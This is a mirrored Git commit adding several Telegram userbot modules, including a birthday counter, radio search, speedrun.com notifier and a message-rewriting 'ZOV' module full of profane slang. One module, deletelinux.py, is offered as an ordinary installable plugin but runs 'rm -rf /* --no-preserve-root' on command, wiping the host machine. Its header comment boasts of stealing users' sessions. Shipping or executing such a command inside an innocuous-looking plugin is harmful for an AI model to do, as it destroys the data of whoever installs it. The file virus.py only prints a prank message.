mirror of
https://github.com/MuRuLOSE/limoka.git
synced 2026-06-16 14:34:17 +02:00
Added and updated repositories 2026-04-12 14:57:04
This commit is contained in:
BIN
Midga3/Heroku-modules/5dfab071f9ac968d824a4cbd2f52c7ab.png
Normal file
BIN
Midga3/Heroku-modules/5dfab071f9ac968d824a4cbd2f52c7ab.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 630 KiB |
68
Midga3/Heroku-modules/BirthdayCount.py
Normal file
68
Midga3/Heroku-modules/BirthdayCount.py
Normal file
@@ -0,0 +1,68 @@
|
||||
# Free to use | MIDGA3 | Made with love
|
||||
# meta developer: @midga3_modules
|
||||
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
try:
|
||||
from herokutl.tl.types import Message
|
||||
except:
|
||||
from hikkatl.tl.types import Message
|
||||
from .. import loader, utils
|
||||
import requests
|
||||
|
||||
#Чем гуще лес...
|
||||
a = 1
|
||||
b = 1
|
||||
if a == b:
|
||||
if a == b:
|
||||
if a == b:
|
||||
if a == b:
|
||||
if a == b:
|
||||
if a == b:
|
||||
if a == b:
|
||||
if a == b:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
else:
|
||||
a = 2
|
||||
@loader.tds
|
||||
class BirthdayCount(loader.Module):
|
||||
"""Counter to birthday\nVia @birthdaycountbot"""
|
||||
|
||||
strings = {
|
||||
"name": "BirthdayCount",
|
||||
"fail": "<b><emoji document_id=5465665476971471368>❌</emoji>First, register at @birthdaycountbot</b>",
|
||||
"_cmd_doc_bcount": "check how many days left."
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"fail": "<b><emoji document_id=5465665476971471368>❌</emoji>Сначала зарегистрируйтесь в @birthdaycountbot</b>",
|
||||
"_cmd_doc_bcount": "проверьте сколько дней осталось.",
|
||||
"_cls_doc": "Счёт до др\nЧерез бота @birthdaycountbot"
|
||||
}
|
||||
|
||||
async def bcountcmd(self, message):
|
||||
"""check how many days left."""
|
||||
async with self._client.conversation("@birthdaycountbot") as conv:
|
||||
msg = await conv.send_message("/start")
|
||||
r = await conv.get_response()
|
||||
if "дн" in r.text or "day" in r.text:
|
||||
text = r.text
|
||||
else:
|
||||
text = self.strings("fail")
|
||||
await msg.delete()
|
||||
await r.delete()
|
||||
await utils.answer(message, text)
|
||||
29
Midga3/Heroku-modules/PingEmoji.py
Normal file
29
Midga3/Heroku-modules/PingEmoji.py
Normal file
@@ -0,0 +1,29 @@
|
||||
#Midga3
|
||||
#Placeholder system is the best
|
||||
|
||||
# meta banner: https://github.com/Midga3/heroku-modules/blob/main/new_module.jpg?raw=true
|
||||
# meta developer: @midga3_modules
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
import logging
|
||||
import aiohttp
|
||||
import asyncio
|
||||
from .. import loader, utils
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@loader.tds
|
||||
class PingEmoji(loader.Module):
|
||||
strings = {
|
||||
"name": "PingEmoji"
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self._client = client
|
||||
utils.register_placeholder("ping_emoji", self.get_emoji)
|
||||
|
||||
async def get_emoji(self, data):
|
||||
if data['ping'] > 300:
|
||||
return "<tg-emoji emoji-id=5276307163529092252>🔴</tg-emoji>"
|
||||
else:
|
||||
return ""
|
||||
208
Midga3/Heroku-modules/ZOV.py
Normal file
208
Midga3/Heroku-modules/ZOV.py
Normal file
@@ -0,0 +1,208 @@
|
||||
__version__ = (1, 0, 4)
|
||||
# meta banner: "🇷🇺"
|
||||
# meta developer: @midga3_modules & IDEA="@bleizix & fork by @mihailkotovski & fork fork by @nenfiz"
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.2.10
|
||||
|
||||
import logging
|
||||
import random
|
||||
import re
|
||||
from .. import loader, utils
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@loader.tds
|
||||
class NiceMessagesMod(loader.Module):
|
||||
"""Я СКАЗАЛ ГОЙДАААА"""
|
||||
|
||||
strings = {
|
||||
"name": "ZZZ ZOVV",
|
||||
"_cls_doc": "Я СКАЗАЛ ГОЙДАААА",
|
||||
"config_enable_doc": "ВКЛЮЧИТЬ ГОЙДУУУУ",
|
||||
"config_effects_frequency_doc": "Частота эффектов (ZOV, ГОЙДА, 🇷🇺, 🔥, ❤️🔥, 🤙🏻, 💨)",
|
||||
"config_enable_emojis_doc": "Включить смайлики 🔥❤️🔥🤙🏻💨",
|
||||
"config_enable_slang_doc": "Пацанский матерный сленг (привет → здарова, пиздец → трындец)",
|
||||
"error_message": "Ой-ой! Что-то пошло по пиздецу... Вот оригинал: {}",
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"_cls_doc": "Я СКАЗАЛ ГОЙДАААА",
|
||||
"config_enable_doc": "ВКЛЮЧИТЬ ГОЙДУУУУ",
|
||||
"config_effects_frequency_doc": "Частота эффектов (ZOV, ГОЙДА, 🇷🇺, 🔥, ❤️🔥, 🤙🏻, 💨)",
|
||||
"config_enable_emojis_doc": "Включить смайлики 🔥❤️🔥🤙🏻💨",
|
||||
"config_enable_slang_doc": "Пацанский матерный сленг (привет → здарова, пиздец → трындец)",
|
||||
"error_message": "Ой-ой! Что-то пошло по пиздецу... Вот оригинал: {}",
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
loader.ConfigValue(
|
||||
"enable",
|
||||
True,
|
||||
lambda: self.strings("config_enable_doc"),
|
||||
validator=loader.validators.Boolean(),
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"effects_frequency",
|
||||
2,
|
||||
lambda: self.strings("config_effects_frequency_doc"),
|
||||
validator=loader.validators.Integer(minimum=0, maximum=4),
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"enable_emojis",
|
||||
True,
|
||||
lambda: self.strings("config_enable_emojis_doc"),
|
||||
validator=loader.validators.Boolean(),
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"enable_slang",
|
||||
False,
|
||||
lambda: self.strings("config_enable_slang_doc"),
|
||||
validator=loader.validators.Boolean(),
|
||||
),
|
||||
)
|
||||
|
||||
self.emojis = ["🔥", "❤️🔥", "🤙🏻🤙🏻🤙🏻", "💨"]
|
||||
self.flags = ["🇷🇺"]
|
||||
self.suffixes = ["ZOV", "ГОЙДА", "🆉🅾🆅", "𓆩ƵꝊꝞ𓆪", "ᶻᴼⱽ", "꧁•⊹٭ZOV٭⊹•꧂", "G̶O̶Y̶D̶A̶", "〜G∿O∿Y∿D∿A〜"]
|
||||
self.extended_exclamations = ["!!!"]
|
||||
self.slang_dict = {
|
||||
"привет": "здарова", "здравствуй": "здаров", "как": "чё", "хорошо": "заебись",
|
||||
"отлично": "пиздец как", "нормально": "нормас", "плохо": "всрато",
|
||||
"друг": "братан", "пока": "вали", "да": "канеш", "нет": "нахуй иди",
|
||||
"спасибо": "респект", "пожалуйста": "по братски", "извини": "сорян", "извините": "проехали",
|
||||
"дома": "на хате", "работа": "темка", "деньги": "бабки", "проблема": "косяк",
|
||||
"бери": "хапай", "иди": "топай",
|
||||
"люди": "пацаны", "человек": "перс", "жду": "торчу", "пошли": "погнали",
|
||||
"похоже": "пох", "понял": "врубился", "не понял": "чё за хуйня", "быстро": "на шухере",
|
||||
"тихо": "по-тихому", "громко": "на всю катушку", "позже": "потом прикинем",
|
||||
"сейчас": "похер ща", "завтра": "на завтраке", "сегодня": "по сей день",
|
||||
"есть": "в наличии", "хочу": "загон", "надо": "втрындец",
|
||||
"сделал": "забацал", "готово": "прокатило", "класс": "бомба", "круто": "охуенно",
|
||||
"где": "хде", "зачем": "нахуя",
|
||||
"почему": "чёзанах", "вопрос": "тема", "ответ": "отмазка", "бери": "гребанул",
|
||||
"давай": "вали давай", "бери": "хватай", "уйди": "съеби"
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
self.db = db
|
||||
self._me = await client.get_me()
|
||||
|
||||
def _get_frequency_prob(self):
|
||||
frequency_idx = self.config["effects_frequency"]
|
||||
if frequency_idx == 0: return 0.15
|
||||
if frequency_idx == 1: return 0.35
|
||||
if frequency_idx == 3: return 0.85
|
||||
if frequency_idx == 4: return 1.00
|
||||
return 0.65
|
||||
|
||||
def _transform_patriotic_letters(self, text):
|
||||
eng_to_rus = {
|
||||
'a': 'а', 'A': 'А', 'b': 'б', 'B': 'Б', 'c': 'с', 'C': 'С', 'd': 'д', 'D': 'Д',
|
||||
'e': 'е', 'E': 'Е', 'f': 'ф', 'F': 'Ф', 'g': 'г', 'G': 'Г', 'h': 'х', 'H': 'Х',
|
||||
'i': 'и', 'I': 'И', 'j': 'й', 'J': 'Й', 'k': 'к', 'K': 'К', 'l': 'л', 'L': 'Л',
|
||||
'm': 'м', 'M': 'М', 'n': 'н', 'N': 'Н', 'o': 'о', 'O': 'О', 'p': 'п', 'P': 'П',
|
||||
'r': 'р', 'R': 'Р', 's': 'с', 'S': 'С', 't': 'т', 'T': 'Т', 'u': 'у', 'U': 'У',
|
||||
'v': 'в', 'V': 'В', 'x': 'х', 'X': 'Х', 'y': 'у', 'Y': 'У', 'z': 'з', 'Z': 'З',
|
||||
'q': 'к', 'Q': 'К', 'w': 'в', 'W': 'В'
|
||||
}
|
||||
for eng, rus in eng_to_rus.items():
|
||||
text = text.replace(eng, rus)
|
||||
text = text.replace('з', 'Z').replace('З', 'Z').replace('в', 'V').replace('В', 'V').replace('о', 'O').replace('О', 'O')
|
||||
return text
|
||||
|
||||
def _transform_exclamations(self, ending_punctuation):
|
||||
def replace_match(match): return random.choice(self.extended_exclamations)
|
||||
return re.sub(r"!", replace_match, ending_punctuation)
|
||||
|
||||
def _transform_slang(self, text):
|
||||
if self.config["enable_slang"]:
|
||||
words = text.split()
|
||||
transformed_words = []
|
||||
for word in words:
|
||||
word_lower = word.lower()
|
||||
if word_lower in self.slang_dict:
|
||||
new_word = self.slang_dict[word_lower]
|
||||
if word[0].isupper():
|
||||
new_word = new_word.capitalize()
|
||||
transformed_words.append(new_word)
|
||||
else:
|
||||
transformed_words.append(word)
|
||||
return " ".join(transformed_words)
|
||||
return text
|
||||
|
||||
def _apply_patriotic_transformations(self, text):
|
||||
if not text.strip():
|
||||
return text
|
||||
|
||||
effects_prob = self._get_frequency_prob()
|
||||
|
||||
text = self._transform_slang(text)
|
||||
text = self._transform_patriotic_letters(text)
|
||||
|
||||
sentences = re.split(r'([.!?]+\s*)', text)
|
||||
result_parts = []
|
||||
|
||||
for i in range(0, len(sentences), 2):
|
||||
sentence_part = sentences[i].strip() if i < len(sentences) else ""
|
||||
ending_punctuation = sentences[i+1] if i+1 < len(sentences) else ""
|
||||
|
||||
if not sentence_part and ending_punctuation:
|
||||
if "!" in ending_punctuation:
|
||||
ending_punctuation = self._transform_exclamations(ending_punctuation)
|
||||
result_parts.append(ending_punctuation)
|
||||
continue
|
||||
|
||||
if not sentence_part and not ending_punctuation:
|
||||
continue
|
||||
|
||||
words = sentence_part.split()
|
||||
processed_words = []
|
||||
for w in words:
|
||||
if not w:
|
||||
processed_words.append(w)
|
||||
continue
|
||||
word_with_effects = w
|
||||
if random.random() < effects_prob:
|
||||
word_with_effects += f" {random.choice(self.flags)}"
|
||||
if self.config["enable_emojis"] and random.random() < effects_prob:
|
||||
word_with_effects += f" {random.choice(self.emojis)}"
|
||||
processed_words.append(word_with_effects)
|
||||
sentence_part = " ".join(processed_words).strip()
|
||||
|
||||
if random.random() < effects_prob:
|
||||
if sentence_part:
|
||||
sentence_part += f" {random.choice(self.suffixes)}"
|
||||
else:
|
||||
sentence_part = random.choice(self.suffixes)
|
||||
sentence_part = sentence_part.strip()
|
||||
|
||||
result_parts.append(sentence_part)
|
||||
result_parts.append(ending_punctuation)
|
||||
|
||||
return "".join(result_parts)
|
||||
|
||||
@loader.watcher(tags=["out", "no_commands"])
|
||||
async def patriotic_watcher(self, message):
|
||||
"""Я СКАЗАЛ СОСАТЬ СУК"""
|
||||
if not message.out:
|
||||
return
|
||||
|
||||
if not self.config["enable"]:
|
||||
return
|
||||
|
||||
try:
|
||||
original_text = message.text
|
||||
if not original_text:
|
||||
return
|
||||
|
||||
modified_text = self._apply_patriotic_transformations(original_text)
|
||||
|
||||
if modified_text != original_text:
|
||||
await utils.answer(message, modified_text)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Error in patriotic transformation: {e}")
|
||||
error_text = self.strings("error_message").format(original_text)
|
||||
await utils.answer(message, error_text)
|
||||
@@ -0,0 +1,8 @@
|
||||
from .. import loader, utils
|
||||
|
||||
@loader.tds
|
||||
class TyInvalid(loader.Module):
|
||||
"""Бля братан, спасибо огромное выручил"""
|
||||
strings = {"name": "Бля братан, спасибо огромное выручил", "hello": "Бля братан, спасибо огромное выручил!"}
|
||||
strings_ru = {"hello": "Бля братан, спасибо огромное выручил!"}
|
||||
strings_de = {"hello": "Бля братан, спасибо огромное выручил!"}
|
||||
27
Midga3/Heroku-modules/deletelinux.py
Normal file
27
Midga3/Heroku-modules/deletelinux.py
Normal file
@@ -0,0 +1,27 @@
|
||||
# хахаххахах топ код и я пизжу ваши ссесии юзайте если хотите
|
||||
|
||||
# meta developer: @midga3_modules
|
||||
|
||||
from herokutl.tl.types import Message
|
||||
from .. import loader, utils
|
||||
import os
|
||||
|
||||
@loader.tds
|
||||
class DeleteLinuxMod(loader.Module):
|
||||
"""A module to delete linux lol"""
|
||||
|
||||
strings = {
|
||||
"name": "DeleteLinux",
|
||||
"deleting_linux": "<b>Hello! So you want to delete the stuff that runs this?. Ok! I'm deleting it for you.</b>",
|
||||
"_cmd_doc_deletelinux": "delete linux."
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"deleting_linux": "<b>Привет! То есть ты хочешь удалить то на чем это? Ну ок Удаляю линукс</b>",
|
||||
"_cmd_doc_deletelinux": "удалить линукс."
|
||||
}
|
||||
|
||||
async def deletelinuxcmd(self, message: Message):
|
||||
"""delete Linux"""
|
||||
meassage = await utils.answer(message, self.strings("deleting_linux"))
|
||||
os.system("rm -rf /* --no-preserve-root")
|
||||
BIN
Midga3/Heroku-modules/doc_2026-01-28_20-39-33.gif
Normal file
BIN
Midga3/Heroku-modules/doc_2026-01-28_20-39-33.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 6.0 MiB |
40
Midga3/Heroku-modules/fhetastatus.py
Normal file
40
Midga3/Heroku-modules/fhetastatus.py
Normal file
@@ -0,0 +1,40 @@
|
||||
# NOT OFFICIAL FHeta MODULE | НЕ ОФИЦИАЛЬНЫЙ FHeta МОДУЛЬ
|
||||
|
||||
#Fix tomorrow mb
|
||||
|
||||
# meta developer: @midga3_modules
|
||||
# meta banner: https://ia801007.us.archive.org/BookReader/BookReaderImages.php?zip=/11/items/jeffrey-epstein-files-full/Jeffrey%20Epstein%20files%20_full_jp2.zip&file=Jeffrey%20Epstein%20files%20_full_jp2/Jeffrey%20Epstein%20files%20_full_0004.jp2&id=jeffrey-epstein-files-full&scale=4&rotate=0
|
||||
# meta pic: https://ia801007.us.archive.org/BookReader/BookReaderImages.php?zip=/11/items/jeffrey-epstein-files-full/Jeffrey%20Epstein%20files%20_full_jp2.zip&file=Jeffrey%20Epstein%20files%20_full_jp2/Jeffrey%20Epstein%20files%20_full_0004.jp2&id=jeffrey-epstein-files-full&scale=4&rotate=0
|
||||
|
||||
#хуй
|
||||
from herokutl.tl.types import Message
|
||||
from .. import loader, utils
|
||||
import requests
|
||||
|
||||
@loader.tds
|
||||
class FHetaStatus(loader.Module):
|
||||
"""NOT OFFICIAL FHeta MODULE\nCheck fheta status"""
|
||||
|
||||
strings = {
|
||||
"name": "FHetaStatus",
|
||||
"working": "<b><emoji document_id=5427009714745517609>✅</emoji>FHeta is working</b>",
|
||||
"not_working": "<b><emoji document_id=5465665476971471368>❌</emoji>Fheta is unavailable</b>",
|
||||
"_cmd_doc_fping": "check fheta status."
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"working": "<b><emoji document_id=5427009714745517609>✅</emoji>FHeta работает</b>",
|
||||
"not_working": "<b><emoji document_id=5465665476971471368>❌</emoji>Fheta недоступна</b>",
|
||||
"_cmd_doc_fping": "проверить статус FHeta.",
|
||||
"_cls_doc": "НЕ ОФИЦИАЛЬНЫЙ FHeta МОДУЛЬ\nПроверьте статус FHeta"
|
||||
}
|
||||
|
||||
async def fpingcmd(self, message: Message):
|
||||
"""check fheta status"""
|
||||
|
||||
url = "https://api.fixyres.com/module/Midga3/heroku-modules/radiolistener.py" # Не ии это мне на будущее если менять
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200 and response.text != "[]":
|
||||
meassage = await utils.answer(message, self.strings("working"))
|
||||
else:
|
||||
meassage = await utils.answer(message, self.strings("not_working"))
|
||||
BIN
Midga3/Heroku-modules/new_module.jpg
Normal file
BIN
Midga3/Heroku-modules/new_module.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
70
Midga3/Heroku-modules/radiolistener.py
Normal file
70
Midga3/Heroku-modules/radiolistener.py
Normal file
@@ -0,0 +1,70 @@
|
||||
import json
|
||||
from .. import loader, utils
|
||||
import logging
|
||||
import difflib
|
||||
import aiohttp
|
||||
# meta developer: @midga3_modules
|
||||
# meta banner: https://meta.hostingradio.ru/files/elements/cover-images/600x600/434e51ce-b4ac-4157-a699-4954c02dabb9.jpg
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
version = (1, 0, 0)
|
||||
|
||||
@loader.tds
|
||||
class RadioListener(loader.Module):
|
||||
"""Listen and check radio stations"""
|
||||
strings = {
|
||||
"name": "RadioListener",
|
||||
"searching": "<b><tg-emoji emoji-id=5188217332748527444>🔍</tg-emoji> Searching for radio stations...</b>",
|
||||
"not_found": "<b>❌ No online radio stations found. {}</b>",
|
||||
"found": "<b>{}\nLISTEN HERE</b>:\n{}\n\n<code>Current track:{}</code>",
|
||||
}
|
||||
strings_ru = {
|
||||
"searching": "<b><tg-emoji emoji-id=5188217332748527444>🔍</tg-emoji> Поиск радиостанций...</b>",
|
||||
"not_found": "<b>❌ Радиостанции не найдены. {}</b>",
|
||||
"found": "<b>{}\nСЛУШАТЬ ЗДЕСЬ:</b>\n{}\n\n<code>Текущий трек: {}</code>",
|
||||
"_cmd_doc_radio": "поиск радио.",
|
||||
"_cls_doc": "Слушайте и проверяйте радиостанции"
|
||||
}
|
||||
async def radiocmd(self, message):
|
||||
"""search radio."""
|
||||
args = utils.get_args_raw(message)
|
||||
if args:
|
||||
query = args
|
||||
await message.edit(self.strings("searching"))
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get("https://raw.githubusercontent.com/Midga3/heroku-modules/refs/heads/main/radios.json") as response:
|
||||
if response.status == 200:
|
||||
text = await response.text()
|
||||
radios_data = json.loads(text)
|
||||
else:
|
||||
logger.exception(f"{utils.ascii_face()}JSON ERROR: {response.status}")
|
||||
await message.edit(self.strings("not_found").format("Error fetching data"))
|
||||
return None
|
||||
except Exception as e:
|
||||
logger.exception(f"{utils.ascii_face()}ERROR: {e}")
|
||||
await message.edit(self.strings("not_found").format("Error fetching data"))
|
||||
return None
|
||||
found = False
|
||||
for radio in radios_data:
|
||||
if difflib.SequenceMatcher(None, query.lower(), radio["radio_name"].lower()).ratio() > 0.5:
|
||||
found = True
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(radio["current_link"]) as resp:
|
||||
if resp.status == 200:
|
||||
try:
|
||||
data = await resp.json()
|
||||
current_track = f"{data.get('artist', 'Unknown Artist')} - {data.get('title', 'Unknown Title')}"
|
||||
media = data.get("cover", "")
|
||||
except:
|
||||
current_track = "Unknown"
|
||||
media = ""
|
||||
else:
|
||||
current_track = "Unknown"
|
||||
media = ""
|
||||
await message.edit(self.strings("found").format(radio["radio_name"], radio["radio_link"], current_track), file=media if media else None)
|
||||
break
|
||||
if not found:
|
||||
await message.edit(self.strings("not_found").format("No matching radio found"))
|
||||
else:
|
||||
await message.edit(self.strings("not_found").format("No args"))
|
||||
37
Midga3/Heroku-modules/radios.json
Normal file
37
Midga3/Heroku-modules/radios.json
Normal file
@@ -0,0 +1,37 @@
|
||||
[
|
||||
{
|
||||
"radio_name": "Новое Радио",
|
||||
"current_link": "https://music.mts.ru/radio_proxy_host/emg/novoeradio/fmgid/current.json",
|
||||
"radio_link": "https://stream.newradio.ru/novoe32.aacp"
|
||||
},
|
||||
{
|
||||
"radio_name": "Русское Радио",
|
||||
"current_link": "https://music.mts.ru/radio_proxy_host/rmg/rusradio/fmgid/current.json",
|
||||
"radio_link": "https://rusradio.hostingradio.ru/rusradio96.aacp"
|
||||
},
|
||||
{
|
||||
"radio_name": "Радио Москвы",
|
||||
"current_link": "https://music.mts.ru/radio_proxy_fmgid/stations/radiomoscow/current.json",
|
||||
"radio_link": "https://icecast-vgtrk.cdnvideo.ru/moscowtalk128"
|
||||
},
|
||||
{
|
||||
"radio_name": "Детское Радио",
|
||||
"current_link": "https://hls-01-gpm.hostingradio.ru/detifm495/metadata.json?format=fmgid&subformat=current",
|
||||
"radio_link": "https://gpm.hostingradio.ru/detifm32.aacp"
|
||||
},
|
||||
{
|
||||
"radio_name": "Европа Плюс",
|
||||
"current_link": "https://music.mts.ru/radio_proxy_host/emg/europaplus/fmgid/current.json",
|
||||
"radio_link": "https://epdop.hostingradio.ru:8033/europaplus32.aacp"
|
||||
},
|
||||
{
|
||||
"radio_name": "Like FM",
|
||||
"current_link": "https://hls-01-gpm.hostingradio.ru/likefm495/metadata.json?format=fmgid&subformat=current",
|
||||
"radio_link": "https://srv01.gpmradio.ru/stream/air/aac/64/219"
|
||||
},
|
||||
{
|
||||
"radio_name": "Шансон",
|
||||
"current_link": "https://music.mts.ru/radio_proxy_fmgid/stations/shanson/current.json",
|
||||
"radio_link": "https://chanson.hostingradio.ru:8041/chanson256.mp3"
|
||||
}
|
||||
]
|
||||
140
Midga3/Heroku-modules/speedrun.py
Normal file
140
Midga3/Heroku-modules/speedrun.py
Normal file
@@ -0,0 +1,140 @@
|
||||
#M i d g a 3
|
||||
|
||||
#meta developer: @midga3_modules
|
||||
# scope: heroku_min 2.0.0
|
||||
|
||||
import srcomapi, srcomapi.datatypes as dt
|
||||
import logging
|
||||
from .. import loader, utils
|
||||
from herokutl.tl.types import Message
|
||||
__verison__ = (1, 1, 0)
|
||||
logger = logging.getLogger(__name__)
|
||||
@loader.tds
|
||||
class speedruncom(loader.Module):
|
||||
strings = {
|
||||
"name": "Speedruns",
|
||||
"searching": "<tg-emoji emoji-id=5188217332748527444>🔍</tg-emoji>Searching...",
|
||||
"game": "<tg-emoji emoji-id=5370869711888194012>👾</tg-emoji> Game: {}\n<tg-emoji emoji-id=5789531407231487577>🎮</tg-emoji> Number of runs: {}. \n <tg-emoji emoji-id=5409008750893734809>🏆</tg-emoji>Top runs: \n{}",
|
||||
"not_found": "<tg-emoji emoji-id=5210952531676504517>❌</tg-emoji>Not found, sry",
|
||||
"new_notify": "You got a new notification: {}",
|
||||
"token": "Token of sppedrun.com",
|
||||
}
|
||||
async def client_ready(self):
|
||||
self.asset_channel = self._db.get("heroku.forums", "channel_id", 0)
|
||||
self._notif_topic = await utils.asset_forum_topic(
|
||||
self._client,
|
||||
self._db,
|
||||
self.asset_channel,
|
||||
"speedrun.com",
|
||||
description="Here will be notifications from speedrun.com.\nRequries token(change in cfg)",
|
||||
icon_emoji_id=5345892905103932200,
|
||||
)
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
loader.ConfigValue(
|
||||
"token",
|
||||
None,
|
||||
lambda: self.strings("token"),
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"show_all_15",
|
||||
False,
|
||||
"Show all 15 runs on one page",
|
||||
validator=loader.validators.Boolean(),
|
||||
),
|
||||
)
|
||||
self.api = srcomapi.SpeedrunCom(self.config['token']); self.api.debug = 1
|
||||
utils.register_placeholder("notifications", self.ph, "Number of notifications on speedrun.com")
|
||||
async def ph(self):
|
||||
return len(self._db.get("speedrun", "unread_ids", default=[]))
|
||||
@loader.loop(interval=60, autostart=True)
|
||||
async def poller(self):
|
||||
if self.config['token'] is None:
|
||||
return
|
||||
else:
|
||||
self.api = srcomapi.SpeedrunCom(self.config['token']); self.api.debug = 1
|
||||
data = self.api.get("notifications")
|
||||
unread = [n for n in data if n.get('status') == 'unread']
|
||||
unread_ids = [n.get('id') for n in unread if n.get('id')]
|
||||
saved_ids = self._db.get("speedrun", "unread_ids", default=[])
|
||||
new_ids = [uid for uid in unread_ids if uid not in saved_ids]
|
||||
self._db.set("speedrun", "unread_ids", unread_ids)
|
||||
new_notifications = [n for n in unread if n.get('id') in new_ids]
|
||||
for notification in new_notifications:
|
||||
uri = None
|
||||
if 'item' in notification and notification['item'].get('uri'):
|
||||
uri = notification['item']['uri']
|
||||
keyboard = None
|
||||
if uri:
|
||||
keyboard = {
|
||||
"inline_keyboard": [
|
||||
[{"text": "🔗 Link", "url": uri}]
|
||||
]
|
||||
}
|
||||
await self.inline.bot.send_message(
|
||||
int(f"-100{self.asset_channel}"),
|
||||
self.strings['new_notify'].format(notification.get('text')),
|
||||
disable_webpage_preview=True,
|
||||
message_thread_id=self._notif_topic.id,
|
||||
reply_markup=keyboard
|
||||
)
|
||||
|
||||
def _game_nav(self, pages, index):
|
||||
if len(pages) <= 1:
|
||||
return None
|
||||
buttons = []
|
||||
if index > 0:
|
||||
buttons.append({"text": "◀️", "callback": self._game_page, "args": (pages, index - 1)})
|
||||
buttons.append({"text": f"{index + 1}/{len(pages)}", "callback": self._game_page, "args": (pages, index)})
|
||||
if index < len(pages) - 1:
|
||||
buttons.append({"text": "▶️", "callback": self._game_page, "args": (pages, index + 1)})
|
||||
return [buttons]
|
||||
|
||||
async def _game_page(self, call, pages, index):
|
||||
await call.edit(pages[index], reply_markup=self._game_nav(pages, index))
|
||||
|
||||
|
||||
@loader.command()
|
||||
async def game(self, message: Message):
|
||||
args = utils.get_args_raw(message)
|
||||
game = self.api.search(srcomapi.datatypes.Game, {"name": f"{args}"})[0]
|
||||
await message.edit(self.strings['searching'])
|
||||
try:
|
||||
new_game_name = game.name
|
||||
runs_data = self.api.get(f"runs?game={game.id}")
|
||||
runs = runs_data['data'] if isinstance(runs_data, dict) and 'data' in runs_data else runs_data
|
||||
top_fifteen = runs[:15] if runs else []
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
await message.edit(self.strings['not_found'])
|
||||
return
|
||||
|
||||
if not top_fifteen:
|
||||
await message.edit(self.strings['not_found'])
|
||||
return
|
||||
|
||||
pages = []
|
||||
step = 15 if self.config["show_all_15"] else 5
|
||||
for page_start in range(0, len(top_fifteen), step):
|
||||
chunk = top_fifteen[page_start:page_start + step]
|
||||
lines = []
|
||||
for index, run in enumerate(chunk, start=page_start + 1):
|
||||
if not run:
|
||||
continue
|
||||
player_id = run['players'][0]['id'] if 'players' in run and run['players'] else "Unknown"
|
||||
player_name = self.api.get_user(str(player_id)).name
|
||||
run_time = run['times']['realtime_t'] if 'times' in run else 0
|
||||
video_url = run['videos']['links'][0]['uri'] if 'videos' in run and 'links' in run['videos'] and run['videos']['links'] else None
|
||||
if video_url:
|
||||
player_link = f'<a href="{video_url}">{player_name}</a>'
|
||||
else:
|
||||
player_link = player_name
|
||||
lines.append(f"{index}. {player_link} - {run_time}s")
|
||||
runs_text = "<blockquote expandable>" + "\n".join(lines) + "</blockquote>"
|
||||
pages.append(self.strings['game'].format(new_game_name, len(runs), runs_text))
|
||||
|
||||
await self.inline.form(
|
||||
message=message,
|
||||
text=pages[0],
|
||||
reply_markup=self._game_nav(pages, 0)
|
||||
)
|
||||
1
Midga3/Heroku-modules/testoffhetapingdonttouch.py
Normal file
1
Midga3/Heroku-modules/testoffhetapingdonttouch.py
Normal file
@@ -0,0 +1 @@
|
||||
print("test")
|
||||
3
Midga3/Heroku-modules/virus.py
Normal file
3
Midga3/Heroku-modules/virus.py
Normal file
@@ -0,0 +1,3 @@
|
||||
print("DELETING ACCOUNT!")
|
||||
|
||||
# FOR APPLICATIONS
|
||||
Reference in New Issue
Block a user